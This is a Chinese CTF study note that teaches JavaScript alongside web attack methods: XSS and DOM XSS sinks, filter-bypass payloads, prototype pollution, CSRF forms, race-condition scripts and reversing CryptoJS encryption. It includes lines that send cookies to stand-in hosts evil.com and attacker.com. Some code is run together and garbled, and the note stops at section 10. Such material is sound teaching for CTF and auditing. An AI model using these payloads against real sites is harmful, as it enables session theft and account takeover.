

CTF Web · JavaScript

- 1. JavaScript 基础语法
 - 1.1 JS 运行环境
 - 1.2 基本语法（变量与数据类型）
 - 1.3 运算符
 - 1.4 流程控制
 - 1.5 函数
- 2. JavaScript 对象模型
 - 2.1 Object 对象
 - 2.2 Window 对象
 - 2.3 Document 对象
- 3. DOM 基础与 DOM XSS
 - 3.1 什么是 DOM
 - 3.2 DOM 操作
 - 3.3 DOM XSS: Source → Sink
- 4. JavaScript 安全绕过技巧
 - 4.1 字符串绕过
 - 4.2 属性访问绕过
 - 4.3 关键字 / 过滤绕过
 - 4.4 JS 动态执行方式
- 5. Fetch 与 Ajax
 - 5.1 HTTP 请求基础
 - 5.2 XMLHttpRequest
 - 5.3 Fetch API
- 6. Promise 异步机制
- 7. 前端接口分析方法论
 - 7.1 查看 JS 源码
 - 7.2 敏感信息搜索

- 7.3 接口分析
 - 8. JavaScript 加密分析
 - 8.1 编码
 - 8.2 哈希
 - 8.3 对称加密
 - 8.4 CryptoJS 逆向复现
 - 9. JavaScript 混淆分析
 - 10. Node.js 安全
 - 11. CTF 实战方向汇总
 - 11.1 XSS 专题
 - 11.2 JWT 专题
 - 11.3 前端 API 漏洞
 - 11.4 JS 逆向
 - 附录：速查表
-

1. JavaScript 基础语法

1.1 JS 运行环境

语法基础

浏览器加载 HTML → 解析到 `<script>` 标签 → 交给 JS 引擎（V8/SpiderMonkey）执行。

```
<script>
  alert(1)
</script>

<script src="app.js"></script>
```

执行时机相关属性：

```
<script defer src="a.js"></script>  <!-- DOM解析完再执行，按顺序 -->
<script async src="b.js"></script>  <!-- 下载完立即执行，顺序不定 -->
```

调试入口：Chrome DevTools 的 Console / Sources / Network 面板。

网安实战

- `<script>` 是 **XSS** 的核心执行点：只要能在页面中插入自己可控的 `<script>` 标签或让浏览器把你的字符串当 JS 执行，就构成 XSS。
 - CTF 中常见的"能不能弹窗"探测顺序：
 - a. `<script>alert(1)</script>`
 - b. 若标签被过滤：`<img src=x onerror=alert(1)>`
 - c. 若关键字被过滤：`<svg onload=alert(1)>`、`<body onload=alert(1)>`
 - **CSP**（**Content-Security-Policy**）会限制内联 `<script>` 执行，审计时先看响应头/`<meta>` 里有没有 CSP，决定能不能用内联脚本，还是必须用 `nonce`/白名单域上的脚本。
 - `defer/async` 在 CTF 中常影响 竞态类漏洞（例如页面在脚本执行完成前就读取了某个全局变量），审计时间敏感型逻辑要留意脚本加载顺序。
-

1.2 基本语法（变量与数据类型）

语法基础

```
var a = 1;    // 函数作用域，存在变量提升
let b = 2;    // 块作用域
const c = 3;  // 块作用域，不可重新赋值
```

数据类型：String Number Boolean Array Object Null Undefined（Symbol/BigInt 了解即可）。

类型转换（弱类型）：

```
"1" + 1      // "11"    (+ 优先字符串拼接)
"1" - 1      // 0       (- 强制转数字)
"abc" - 1    // NaN
[] + []      // ""
[] + {}      // "[object Object]"
1 + true     // 2       (true -> 1)
```

网安实战

- JS 的弱类型行为和 **PHP** 弱比较思路一致，CTF 前端校验逻辑常见弱类型漏洞：

```
if (input == 0) { /* 拒绝 */ }
```

只要

```
input
```

是

```
"0"
```

、

```
""
```

、

```
false
```

、

```
[]
```

、

```
null
```

都可能触发意外分支，需要结合

```
==
```

表格逐一测试。

- 变量提升（**var**）导致的"未定义先使用"有时会被出题人用来构造逻辑漏洞（例如后定义的全局变量覆盖前面的校验函数）。

- 前端 **Token**/密钥硬编码：审计源码时先全局搜索 `var/let/const` 声明的字符串常量，常见 `secret`、`key`、`salt` 直接写死在 JS 里。
- 原型污染前置知识：`Object/Array` 本质都是对象，`__proto__` 也是一个可读写属性，是后面第 10 章原型链污染的基础。

1.3 运算符

语法基础

```
==    // 宽松相等，会做类型转换
===   // 严格相等，类型不同直接 false
!=    // 宽松不等
!==   // 严格不等
1 == "1"    // true
1 === "1"   // false
null == undefined    // true
null === undefined   // false
NaN == NaN    // false (唯一不等于自身的值)
```

网安实战

CTF 前端/后端弱比较绕过速查（思路与 `PHP ==` 高度相似，前端登录校验、Token 校验常用 `==`）：

表达式	结果
<code>"admin" == 0</code>	<code>false</code> （现代 JS 引擎，字符串非数字形式转 NaN）
<code>"0" == false</code>	<code>true</code>
<code>"" == false</code>	<code>true</code>
<code>[] == false</code>	<code>true</code>
<code>[] == ![]</code>	<code>true</code> （经典面试题，本质是 <code>![] → false → 0</code> ， <code>[] → "" → 0</code> ）
<code>null == 0</code>	<code>false</code>

审计时对 `if (a == b)` 类判断要重点检查——只要能让 `a` 变成一个“看起来不等但宽松相等”的值即可绕过。

1.4 流程控制

语法基础

```
if (cond) { } else { }  
switch (x) { case 1: break; default: }  
for (let i = 0; i < 10; i++) { }  
while (cond) { }
```

网安实战

- 前端校验通常是 `if/else` 堆叠的"黑名单过滤", 审计重点是找没覆盖到的分支:

```
if (input.includes("script")) { return false; } // 大小写、编码、拼接均未处理 → 可绕过
```

- `switch` 在 CTF 里常出现在状态机/菜单题 (选择功能点触发不同后端接口), 审计时把每个 `case` 对应的接口和参数都列出来, 找权限校验缺失的分支。
- 循环体中如果包含 `fetch/XMLHttpRequest`, 要留意是否存在批量请求导致的限流绕过 / 竞争条件 (**race condition**) 利用点 (例如前端并发发起多次请求触发后端 TOCTOU)。

1.5 函数

语法基础

```
function test(a, b) { return a + b; } // 具名函数  
const f = function (a) { return a; }; // 函数表达式 (可匿名)  
const g = (a) => a * 2; // 箭头函数, 无自己的  
this
```

网安实战

- 立即执行函数 **IIFE** 常用于混淆/沙箱隔离:

```
(function(){ /* 私有作用域, 变量不污染全局 */ })();
```

逆向分析混淆代码时经常看到大段 IIFE 包裹的解密逻辑，需要在 DevTools 里打断点进入内部执行。

- 箭头函数 没有自己的 `this`，会继承外层作用域的 `this`——分析事件回调/加密函数时如果发现 `this` 指向异常，先确认是不是箭头函数导致。
- CTF 逆向题中常见把敏感函数改名成 `_0x1234` 之类的匿名标识符，本质仍是函数表达式，重点是用 **DevTools** 的 "Rename" / 反混淆脚本还原可读名称，再顺着调用链找到加密/校验入口函数。

2. JavaScript 对象模型

2.1 Object 对象

语法基础

```
let user = { name: "admin", age: 18 };
user.name;           // 点访问
user["name"];        // 中括号访问（key 可以是变量/表达式）

Object.keys(user);
Object.values(user);
JSON.stringify(user);
JSON.parse('{"a":1}');
```

网安实战

- 中括号动态访问是过滤绕过的核心手法：任何被 WAF/前端黑名单拦下的 `.属性`，理论上都能改写成 `["属性"]` 甚至拼接字符串规避关键字匹配：

```
window["alert"](1)window["a"+"ert"]
(1)window["\x61\x6c\x65\x72\x74"](1)
```

- 原型链污染（**Prototype Pollution**）：`Object` 的每个实例都通过 `__proto__` 关联到 `Object.prototype`。如果一个"合并/深拷贝"函数没有过滤 `__proto__` / `constructor` / `prototype` 这几个 key，攻击者可以通过 JSON 输入污染全局原型：

```
// 典型不安全的递归合并function merge(target, source) {  for
(let key in source) {    if (typeof source[key] ===
"object") {      merge(target[key], source[key]);    } else
{      target[key] = source[key];    }  }}merge({},
JSON.parse('{"__proto__":{"isAdmin":true}}'));// 之后任意对象
{}.isAdmin === true
```

<https://chat.deepseek.com/share/doppmks3ldhkg4etgx>

常见受影响库：早期

```
lodash.merge
```

、

```
jQuery.extend(true, ...)
```

。CTF 中利用链通常是：

污染 `Object.prototype` 上的某个业务判断字段（如 `isAdmin`、`role`）→ 影响后续逻辑判断绕过鉴权

，或结合 Node.js 端污染

```
NODE_OPTIONS
```

之类实现 RCE（见第 10 章）。

- `JSON.parse/JSON.stringify` 是分析接口请求体、还原加密参数结构的常用手段，逆向时经常需要在这两个函数上打日志断点（`console.log` 注入或 DevTools conditional breakpoint）观察实际传参。
-

2.2 Window 对象

语法基础

`window` 是浏览器的全局对象，所有全局变量、全局函数都是它的属性。

```
window.document
window.location
window.history
window.navigator
window.localStorage / window.sessionStorage
window.name
```

网安实战

- `window.location` 是 **XSS**/开放重定向/**CSRF** 分析的核心对象：

```
location.href      // 完整 URL，可读可写（写入即跳转）
location.search    // ?a=1&b=2
location.hash      // #xxx，不随
                    请求发送到服务器，是 DOM XSS 常见
sourceLocation.origin
```

- `window.name` 特性：跨页面跳转后依然保留值，且没有同源限制读取（同 tab 内），历史上被用于跨域数据传递/**XSS** 链中传参，是老题里常见的隐藏考点。
- `postMessage` 跨窗口通信漏洞（属于 `window` 对象范畴）：

```
window.addEventListener("message", function(e) { // 危险写
法：未校验 e.origin，直接使用 e.data 拼接到 DOM
document.getElementById("out").innerHTML = e.data;});
```

审计要点：检查监听函数里

是否校验了 `e.origin`

，未校验则任意第三方页面可以通过 `iframe` +

```
postMessage
```

注入 payload，是 DOM XSS 的高频来源。

- `window.open()` / `window.opener`：如果 A 页面 `window.open(B, "_blank")` 且

未加 `noopener`，B 页面可以通过 `window.opener.location = "evil.com"` 反向控制 A 页面，形成 **Tabnabbing** 攻击，属于 CTF 中容易被忽略的考点。

- `localStorage/sessionStorage`：常存放 Token/JWT，XSS 一旦触发即可 `localStorage.getItem("token")` 外带，审计前端存储敏感信息位置时优先看这两个对象。

2.3 Document 对象

语法基础

```
document.getElementById("id")
document.querySelector(".class")
document.querySelectorAll("div")
document.cookie
document.URL
document.referrer
document.title
document.forms
```

网安实战

- `document.cookie`：只要没有设置 `HttpOnly`，XSS 就能直接读取：

```
fetch("https://evil.com/steal?c=" + document.cookie);
```

- `document.URL` / `document.referrer` / `document.domain`：常作为 DOM XSS 的 **source**（用户可控输入点），配合 `document.write()/innerHTML` 等 **sink** 形成注入。
- `document.domain` 篡改：在满足同一“可注册域”（**eTLD+1**）*前提下，两个子域页面都把 `document.domain` 设为相同的父域，可以*放宽同源策略实现跨子域读取 DOM，是老式跨子域攻击手法，仍在部分 CTF 题中出现。
- `document.forms` / 表单自动提交：CSRF payload 常见写法：

```
<form id=f action="https://victim.com/transfer"
method="POST"> <input name="to" value="attacker"> <input
name="amount" value="9999"></form>
<script>document.forms[0].submit()</script>
```

3. DOM 基础与 DOM XSS

3.1 什么是 DOM

语法基础

```
HTML 文本
  ↓ (浏览器解析)
DOM 树 (对象化的节点结构)
  ↓
JS 通过 document/window 操作 DOM
```

DOM 是浏览器把 HTML 解析成的可编程对象树，JS 通过这棵树读写页面内容。

网安实战

- DOM 是 **DOM XSS** 的载体：不同于反射型/存储型 XSS 需要经过服务器渲染，DOM XSS 完全发生在浏览器端，**payload** 甚至不会出现在服务器返回的 **HTML** 源码里，只能在浏览器执行后动态生成，因此常规的“查看源代码”看不出问题，必须用 DevTools 动态调试或专用工具（如 DOM Invader）。

3.2 DOM 操作

语法基础

```
e1.innerHTML = "<b>x</b>"; // 解析为 HTML
e1.innerText = "<b>x</b>"; // 纯文本，不解析标签
e1.textContent = "text";   // 同上，性能更好

let node = document.createElement("div");
parent.appendChild(node);
parent.removeChild(node);
e1.setAttribute("src", url);
```

网安实战

- `innerHTML` 是最危险的 **sink**，赋值内容会被当 HTML 解析并执行其中的事件属性/`<script>`（注意：动态插入的 `<script>` 标签本身默认不会执行，但 `onerror/onload` 等事件属性会执行）：

```
e1.innerHTML = location.hash.slice(1); // URL: #<img src=x
onerror=alert(document.cookie)>
```

- `innerText/textContent` 相对安全（不解析标签），审计时用于区分“这是不是可注入点”的关键分界线。
- `setAttribute` 危险场景：

```
e1.setAttribute("href", userInput); // userInput =
"javascript:alert(1)"
```

即使标签本身是

```
<a>
```

,

```
href
```

属性写入

```
javascript:
```

伪协议依然可执行代码，点击触发。

- `document.createElement("script")` + 动态设置 `src` 常用于加载外部恶意脚本，是 XSS payload 常见变体（尤其是需要绕过长度限制/字符黑名单时，用短域名+简短脚本）。

3.3 DOM XSS: Source → Sink

语法基础（概念模型）

Source（用户可控输入）



数据传播（可能经过变量赋值/字符串拼接/解码）



Sink（危险函数执行）



XSS 触发

网安实战（重点，详细展开）

常见 **Source**:

SOURCE	说明
<code>location.href</code> / <code>location.search</code> / <code>location.hash</code>	URL 相关， <code>hash</code> 不发给服务器，最常被忽视
<code>document.referrer</code>	来源页 URL，可伪造
<code>document.cookie</code>	Cookie 内容
<code>window.name</code>	跨页保留
<code>postMessage</code> 的 <code>event.data</code>	需要 <code>origin</code> 校验
<code>document.URL</code> / <code>document.baseURI</code>	当前页面 URL
表单输入、 <code>localStorage</code>	用户直接输入或本地存储数据

常见 **Sink**（按危险程度排列）:

SINK	触发方式
<code>eval()</code>	直接执行任意 JS
<code>Function()</code> 构造器	同 <code>eval</code> 效果
<code>setTimeout("code", t)</code> / <code>setInterval("code", t)</code>	字符串参数会被当代码执行
<code>element.innerHTML</code> / <code>outerHTML</code>	解析 HTML，事件属性执行
<code>document.write()</code> / <code>document.writeln()</code>	直接写入文档流
<code>element.insertAdjacentHTML()</code>	同 <code>innerHTML</code>
<code>location.href =</code> / <code>location.assign()</code>	可注入 <code>javascript:</code> 伪协议

SINK	触发方式
<code>element.src (script/iframe)</code>	加载外部资源
jQuery 的 <code>\$(userInput) / .html()</code>	历史上 jQuery 选择器可执行代码（老版本）

审计流程（挖 **DOM XSS** 的通用方法论）：

1. 全局搜索所有 Sink 关键字（`innerHTML`、`eval`、`document.write` 等）。
2. 反向追踪该变量的赋值链，看是否最终来自某个 Source。
3. 中间是否有编码/过滤/白名单校验，评估是否可绕过。
4. 构造 payload，本地或题目环境验证。

典型 **payload** 示例（按场景分类）：

```
// hash 型 DOM XSS
location.hash = "#<img src=x onerror=alert(1)>"
// 触发代码类似：
document.getElementById("out").innerHTML =
decodeURIComponent(location.hash.slice(1));
// search 参数拼进 eval
// URL: ?name=1;alert(document.domain)//
eval("var name = '" + location.search.split("=")[1] + "'");
// setTimeout 字符串执行
// URL: ?cb=alert(1)
setTimeout(new URLSearchParams(location.search).get("cb"), 100);
```

防御与绕过对照（审计时判断过滤是否到位）：

- 只过滤了 `<script>` 标签 → 用事件属性 `onerror/onload/onfocus` 绕过。
- 只用了 `encodeURIComponent` 而没有做 HTML 实体转义 → `innerHTML` 场景依然可注入标签。
- 用了 `DOMPurify` 等净化库但配置了宽松白名单（允许 `on*` 属性或 `<svg>/<math>` 标签）→ 需要针对具体白名单构造绕过 payload（CTF 中常考 `DOMPurify` 特定版本 mutation XSS）。

4. JavaScript 安全绕过技巧

4.1 字符串绕过

语法基础

```
"a" + "ert" // 字符串拼接
String.fromCharCode(97,108,101,114,116) // -> "alert"
"\x61\x6c\x65\x72\x74" // 十六进制转义
"\u0061\u006c\u0065\u0072\u0074" // unicode 转义
```

网安实战

当关键字 `alert/eval/script` 等被字符串黑名单过滤时，等价重写方式：

```
window[String.fromCharCode(97,108,101,114,116)](1)
window["\x61\x6c\x65\x72\x74"](1)
window[atob("Ywx1cnQ=")](1) // Base64 解码
top["a" + "ert"](1)
self["a"+"ert"](1)
```

还可以借助其他全局对象别名规避对 `window` 本身的过滤：`self`、`top`、`frames`、`globalThis`、`this`（非严格模式全局作用域下）。

4.2 属性访问绕过

语法基础

```
window.alert // 点号访问
window["alert"] // 中括号访问（等价，key 可为任意表达式）
```

网安实战

- 过滤了 `.`（点号）时，全部改写为 `[]` 形式：

```
window["document"]["cookie"]
```

- 进一步，如果连引号 `"/'` 都被过滤，可以不用字符串字面量，用其他方式生成字符串：

```
// 用数组 + join 生成不含引号的 "alert"
[97,108,101,114,116].map(c=>String.fromCharCode(c)).join``
```

- **JSFuck / 无字母数字 JS**：当过滤极其严格（只允许 `[]()!+`）时，整段 JS 都可以用 `[] [[]]`、`!+[]+[]` 等表达式重构，思路是利用 `[]`、`{}`、`+`、`!` 组合出所有基本类型，再拼出任意字符串并 `eval` 执行。CTF 中若遇到“只允许特定几个符号”的 XSS，优先考虑 JSFuck 编码器直接生成 payload。

4.3 关键字 / 过滤绕过

语法基础

正则/黑名单过滤的本质是字符串匹配，只要最终执行时字符串“拼出来”符合关键字即可，匹配阶段不需要出现完整关键字。

网安实战（按过滤类型分类给绕过思路）

过滤方式	绕过思路
过滤 <code>alert</code> （大小写不敏感）	用 <code>confirm/prompt</code> 等价弹窗函数替代
过滤具体函数名字字符串	拼接： <code>win["al"+"ert"]</code>
过滤 <code><script></code>	事件属性 <code>onerror/onload</code> ，或 <code><svg><script></code> 、 <code><iframe srcdoc=...></code>
过滤空格	用 <code>/**/</code> 、 <code>\t</code> 、 <code>\n</code> 、 <code>+</code> 代替空格分隔
过滤括号 <code>()</code>	<code>eval</code> 场景下用 <code>`</code> 模板字符串标签调用（ <code>tagged template</code> ）不需要括号触发某些函数；或用 <code>Function`</code> 反射构造
正则只匹配一次（非全局 <code>g</code> 未处理嵌套）	双写： <code>sscriptscript</code> 过滤内层 <code>script</code> 后剩下 <code>script</code>
大小写敏感过滤	<code>SCRiPt</code> 、 <code>AlErT</code> 等大小写混写
编码层过滤（只在原始层过滤，未处理解码后）	URL 编码 <code>%3Cscript%3E</code> 、双重编码 <code>%253C</code> 、HTML 实体 <code>alert</code>

实战组合示例（过滤了 `alert`、`(`、`)`、空格）：

```
<svg/onload=top[`${al}`+`${ert}`]&#96;1&#96;>
<!-- 用反引号模板字符串调用替代括号: window["alert"]`1` 等价于
window["alert"](1)（前提是目标函数按 tag function 处理参数） -->
```

注：并非所有函数都能用 *tagged template* 语法调用（`alert` 实际上不支持，这里仅作绕括号思路示例，真实绕过括号常用 `Function` 反射 + `.call/.apply` 或 `throw` 语句配合 `onerror` 全局捕获，具体以目标过滤规则现场测试为准）。

4.4 JS 动态执行方式

语法基础

```
eval("alert(1)")
new Function("alert(1)")()
setTimeout("alert(1)", 0)
setInterval("alert(1)", 1000)
```

网安实战

- 这四种是 代码执行型 **Sink**，只要用户输入能流入其字符串参数，就是可以直接执行任意 JS 的高危漏洞（等价于命令注入之于服务端）。
- `Function()` 构造器创建的函数运行在全局作用域，比 `eval` 更"干净"，常被用来逃逸局部沙箱：

```
// 假设某沙箱只允许在函数内执行受限代码(0, eval)("alert(1)")
// 间接调用 eval，脱离当前作用域限制的经典
trickFunction("alert(1)")();
```

- 审计要点：搜索这四个函数名，反向追踪其字符串参数来源，判断是否存在用户可控点；若代码库自称"安全的 `eval` 替代"（如某些模板引擎/表达式解析库），要重点排查是否可以通过构造函数、原型链等方式逃逸出去（思路与 Python SSTI 沙箱逃逸、PHP 反序列化 POP 链类似）。

5. Fetch 与 Ajax

5.1 HTTP 请求基础

语法基础

- 方法: `GET` (查询, 参数在 URL)、`POST` (提交, 参数在 body)、以及 `PUT/DELETE/PATCH`。
- 常见 Headers: `Content-Type`、`Authorization`、`Cookie`、`X-Requested-With`。
- 认证方式: `Cookie / Token (Authorization: Bearer xxx)` / Basic Auth。

网安实战

- 分析前端发起的请求时, 重点关注: 认证信息放在哪 (`Cookie` 自动带 vs 前端手动拼 `Header`), 这直接决定该接口是否受 CSRF 影响 (`Cookie` 自动携带 → 可能 CSRF; `Header` 手动携带 → 通常需要先 XSS 才能带出 Token)。
 - `Content-Type` 不一致导致的解析差异漏洞: 例如前端发的是 `application/json`, 若后端某些框架对非标准 `Content-Type` (如 `text/plain`) 也尝试解析为 JSON, 可能绕过 CSRF Token 校验中间件 (该类中间件常只拦截 `application/json`)。
-

5.2 XMLHttpRequest

语法基础

```
let xhr = new XMLHttpRequest();
xhr.open("POST", "/api/login");
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function () {
    if (xhr.readyState === 4 && xhr.status === 200) {
        console.log(xhr.responseText);
    }
};
xhr.send(JSON.stringify({ user: "admin", pass: "123" }));
```

- 老代码/老题中常用 `XMLHttpRequest` 而非 `fetch`，逆向分析时同样是找 `.open()` 的 URL 和 `method`、`.send()` 的 `body` 结构，还原出接口全貌用于手工构造攻击请求（Burp Repeater 复现）。
 - `withCredentials = true` 时会携带跨域 Cookie 发请求，是分析 **CORS** 配置不当（`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Credentials: true`）漏洞链的关键点——若目标接口这样配置，第三方页面可直接用带 Cookie 的跨域请求窃取用户数据。
-

5.3 Fetch API

语法基础

```
fetch("/api/user")
  .then(res => res.json())
  .then(data => console.log(data));

fetch("/api/login", {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ user: "admin", pass: "123" }),
  credentials: "include" // 携带跨域 cookie
});
```

网安实战

- CTF 中最常用于分析接口：打开 DevTools Network 面板，找到关键请求，切到对应的调用处（Initiator 或全局搜索 URL 字符串），还原出完整的请求构造逻辑（尤其是有无签名参数、时间戳、加密字段）。
- **XSS** 数据外带（拿到 Cookie/Token 后传出）的标准写法：

```
fetch("https://attacker.com/log?c=" +
  encodeURIComponent(document.cookie)); // 或用
navigator.sendBeacon, 页面关闭时依然能发出, 更隐蔽可靠
navigator.sendBeacon("https://attacker.com/log",
  document.cookie);
```

- **SSRF via fetch**（在 **Node.js** 端/无头浏览器场景）：如果服务端用类似 **fetch** 的库代抓取用户提供的 URL（如"链接预览"功能），要按 **SSRF** 思路测试内网地址、**file://**、云元数据地址等（参见 **SSRF** 专题笔记）。
 - **credentials: "same-origin"**（默认）vs **"include"** vs **"omit"**：审计跨域请求时先确认这个参数，判断该请求是否会带上认证 **Cookie**，从而判断是否存在跨域信息泄露风险。
-

6. Promise 异步机制

语法基础

```
function request() {
  return new Promise((resolve, reject) => {
    fetch("/api").then(r => r.json()).then(resolve).catch(reject);
  });
}

async function main() {
  try {
    let data = await request();
    console.log(data);
  } catch (e) {
    console.error(e);
  }
}
```

.then()/ .catch()/ .finally()；**async/await** 是 Promise 的语法糖。

网安实战

- 逆向分析加密/签名逻辑时，经常遇到异步链（多个 **.then()** 串联，或 **await** 多次请求），需要在 **DevTools** 里对每个 **.then()** 回调打断点，逐步观察中间变量，才能理清完整的参数生成流程（尤其是"参数生成"类逆向题，签名往往依赖异步获取的服务端下发的随机数/时间戳）。
- 竞争条件（**Race Condition**）漏洞在前端触发层面的体现：如果关键操作（如"提交订单"按钮）没有做防抖/禁用，配合 **Promise** 异步特性，前端可以并发

发出多个请求，命中后端未加锁的业务逻辑（例如优惠券重复核销、余额透支）。CTF 中常用脚本：

```
Promise.all(Array.from({length: 20}, () =>
  fetch("/api/redeem", {method:"POST"})));
```

用并发请求打后端 TOCTOU 窗口期。

7. 前端接口分析方法论

7.1 查看 JS 源码

语法基础

- Chrome DevTools → Sources 面板，可以看到所有加载的 `.js` 文件，支持格式化（`{}` 图标 pretty-print）。
- Burp Suite 拦截所有请求，包括静态资源，方便离线搜索。

网安实战

- 分析流程标准步骤：
 - a. F12 打开 Sources，找到主要业务 JS 文件（通常不是 `vendor/chunk` 这种框架文件，而是带业务含义命名或体积适中的文件）。
 - b. 格式化压缩代码（pretty-print）。
 - c. 全局搜索关键词（见 7.2）。
 - d. 顺着调用链，从事件绑定（`onClick/addEventListener`）反向定位到业务逻辑函数。
 - 对于打包后的现代前端项目（Webpack/Vite），要注意查找 `sourcemap`（`.js.map` 文件）：如果服务器误将 `sourcemap` 文件也部署到生产环境，可以直接还原出未压缩的原始源码，极大降低逆向难度，是 CTF 和真实渗透中都很常见的“顺手一查”。
-

7.2 敏感信息搜索

语法基础

DevTools Sources 面板支持 `Ctrl+Shift+F` 全局搜索所有已加载资源。

网安实战

标准敏感信息关键词字典（审计 JS 时逐一搜索）：

```
password / passwd / pwd
token / jwt / accessToken / refreshToken
secret / secretKey / apiKey / appKey
key / privateKey / publicKey
admin / debug / test
flag / ctf
api / endpoint / baseUrl
/api/ /admin/ /internal/ /debug/
console.log（可能残留调试信息）
TODO / FIXME（可能提示未完成的安全措施）
```

- 命中后要注意区分是真实凭据还是混淆后的占位符（有些题会故意放假 `flag` 干扰）。
- 还应检查 `.env`、`config.js`、`manifest.json` 等配置类静态文件是否被误打包进可访问路径。

7.3 接口分析

语法基础

发现接口示例：

```
fetch("/api/login", { method: "POST", body: ... })
```

需要分析：请求方法、参数结构、返回值结构、认证方式。

网安实战

分析清单（每发现一个接口都过一遍）：

1. 认证方式：Cookie？Header Token？有没有做二次校验？
2. 参数是否可篡改：前端传的 `role/price/uid` 这类字段能不能直接改，后端有没有做越权校验（水平/垂直越权，见第 11.3 节）。
3. 是否有签名/时间戳防重放：如果有，逆向出生成算法（第 8 章），才能自己构造合法请求。
4. 返回值是否泄露多余字段：前端只展示部分字段，但接口实际返回了完整对象（常见“返回了别的用户的隐藏字段”）。
5. **HTTP** 方法是否可替换：有的接口只在前端限制用 POST，实际后端 GET 也能访问，用于绕过某些只处理特定方法的 WAF 规则。

配合 Burp 把还原出的接口逐个发送到 Repeater，手工改参数验证越权/注入点，是 CTF Web 题里前端分析转后端漏洞利用的标准衔接方式。

8. JavaScript 加密分析

8.1 编码

语法基础

```
btoa("hello")           // Base64 编码
atob("aGVsbG8=")        // Base64 解码
encodeURIComponent("a b") // URL 编码
decodeURIComponent(...)
encodeURIComponent(...)
unescape(...)           // 已弃用但老代码常见
```

网安实战

- 编码不是加密，任何前端能解出来的编码，攻击者同样能解出来，审计时如果发现“加密”逻辑只是 Base64/URL 编码组合，直接判定为无安全性，可完全绕过或伪造。
 - 多层编码是 CTF payload 绕过 WAF 的常用手法（见 4.3 表格），逆向分析时要注意区分目标到底做了几层编码，避免解码不完全或过度解码导致误判。
-

8.2 哈希

语法基础

浏览器原生 `SubtleCrypto`:

```
crypto.subtle.digest("SHA-256", data).then(buf => { /* ArrayBuffer */ });
```

前端更常见的是第三方库 `md5.js`、`CryptoJS.MD5()`、`CryptoJS.SHA256()`。

网安实战

- 哈希不可逆，前端"加密密码后传输"本质只是防止明文抓包看到，服务端如果直接把这个哈希值当密码存库比对，等价于密码没有加盐，可以用彩虹表/在线查询直接反查常见弱密码的哈希值。
- 若发现请求参数里有固定长度的十六进制字符串（32位→MD5，40位→SHA1，64位→SHA256），优先怀疑是哈希值，可以尝试哈希长度扩展攻击（若服务端是 `hash(secret + data)` 这种拼接方式且用的是 MD5/SHA1/SHA256 等 Merkle-Damgård 结构算法）。

8.3 对称加密

语法基础

前端很少用原生 `SubtleCrypto` 做 AES（写法繁琐），CTF 题几乎都用 `CryptoJS`:

```
CryptoJS.AES.encrypt("plain", key, { mode: CryptoJS.mode.ECB });
```

网安实战

- 密钥/IV 硬编码在前端是这类题目的核心漏洞点——密钥写在 JS 里，浏览器能执行就说明浏览器"看得到"，直接提取即可自行加解密任意数据。
- **ECB 模式**：相同明文块产生相同密文块，可通过密文分块规律判断加密模式，也可能构造"块替换"类攻击（如把某个加密块整体替换成已知的其他合法块）。
- **CBC 模式**：注意 IV 是否可预测/固定，固定 IV 会降低安全性；服务端如果没做完

整性校验（无 HMAC/签名），可尝试 **CBC** 字节翻转攻击 篡改明文特定字节（前提是拿到密文且知道明文结构，如 JSON 字段位置）。

8.4 CryptoJS 逆向复现

语法基础

```
let key = CryptoJS.enc.Utf8.parse("1234567890123456");
let iv = CryptoJS.enc.Utf8.parse("1234567890123456");
let ciphertext = CryptoJS.AES.encrypt(plaintext, key, {
  iv: iv,
  mode: CryptoJS.mode.CBC,
  padding: CryptoJS.pad.Pkcs7
});
ciphertext.toString(); // Base64 密文
```

网安实战（复现流程，这是逆向题最常考的完整链路）

1. 定位加密调用点：在提交表单/发起请求前的代码里搜索 `CryptoJS`、`encrypt`、`AES`、`DES` 关键字。
2. 提取三要素：`key`（密钥）、`iv`（偏移量，CBC 模式才需要）、`mode/padding`（加密模式与填充方式）。有的题目会对 `key/iv` 做二次处理（如取时间戳 MD5 前 16 位当 `key`），要连这层逻辑一起还原。
3. 本地复现：用 Node.js 装同一个 `crypto-js` 库，把提取到的参数和原始逻辑原样搬过来，本地跑通“任意明文 → 密文”的加密函数。
4. 构造攻击载荷：把要提交的恶意参数（如改 `price=0`、`role=admin`）用同样的函数加密，生成合法密文，提交给服务端，服务端解密后得到你构造的明文，从而绕过前端限制、直达业务逻辑漏洞。
5. 如果密钥本身是动态生成（如依赖服务端下发的随机 `salt`），需要结合第 6 章 Promise/异步链，找到 `salt` 的获取接口，在脚本里先请求 `salt` 再计算 `key`。

该流程是 CTF Web「JS 逆向 + 加密复现」类题目的通用解法模板，务必吃透。

9. JavaScript 混淆分析

语法基础（常见混淆手法）

字符串数组混淆（obfuscator.io 最常见特征）：

```
var _0x1a2b = ['\x61\x6c\x65\x72\x74', '\x31'];
function _0x3c4d(i) { return _0x1a2b[i]; }
window[_0x3c4d(0)](_0x3c4d(1));
```

eval 包裹执行：

```
eval(function(p,a,c,k,e,d){...}('...packed code...')) // Dean
Edwards Packer
```

Unicode/十六进制转义隐藏字符串：

```
\u0061\u006c\u0065\u0072\u0074 // "alert"
```

控制流平坦化（用 **switch** + 状态变量打乱正常执行顺序）、死代码注入（插入永远不执行的分支干扰阅读）。

网安实战

反混淆标准流程：

1. 格式化：DevTools pretty-print，或用 **js-beautify** 命令行工具。
2. 识别混淆类型：字符串数组型 / eval-packer 型 / AST 级（obfuscator.io 高强度模式）。
3. 还原字符串数组：
 - 简单情况：直接在 **Console** 里把数组打印出来，人工替换调用处的下标为真实字符串。
 - 复杂情况（数组被 **shuffle** 加自解密函数）：在数组初始化后打断点，直接在 **Console** 执行 **_0x3c4d(0)** 等函数拿到真实字符串，逐个替换。
4. **eval-packer** 型：直接把 **eval(...)** 改成 **console.log(...)**，在 **Console** 手动执行一次拿到解包后的明文代码（不要在生产/题目环境里真的执行未知代码，先看清楚内容）。

5. 动态调试代替静态阅读：混淆代码静态读往往效率极低，优先用 DevTools 在关键 Sink（`eval`、`fetch`、`XMLHttpRequest.send`）上打断点，运行时直接看到明文参数，反过来定位是哪段逻辑生成的。
6. 借助工具：`de4js`、`webcrack`、AST 反混淆工具（基于 Babel 的自定义脚本，针对控制流平坦化和字符串数组做批量还原）。

CTF 中"JS 逆向"题的本质大多是：混淆代码里藏着一个签名/加密算法，需要还原出来在本地复现，用来构造合法请求参数——最终仍然会落回第 8.4 节的复现流程。

10. Node.js 安全

语法基础

```
const express = require("express");
const app = express();
